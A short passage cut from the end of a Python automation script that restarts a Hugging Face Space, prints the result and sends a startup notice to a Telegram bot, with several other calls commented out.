        print(f"{tmp_name}重启结果:",result)
        telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID} startup finished")
        # create_space(4,"","",CHAT_ID)
        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
        # print(result)
        break
# github(2)
# nv1_agent()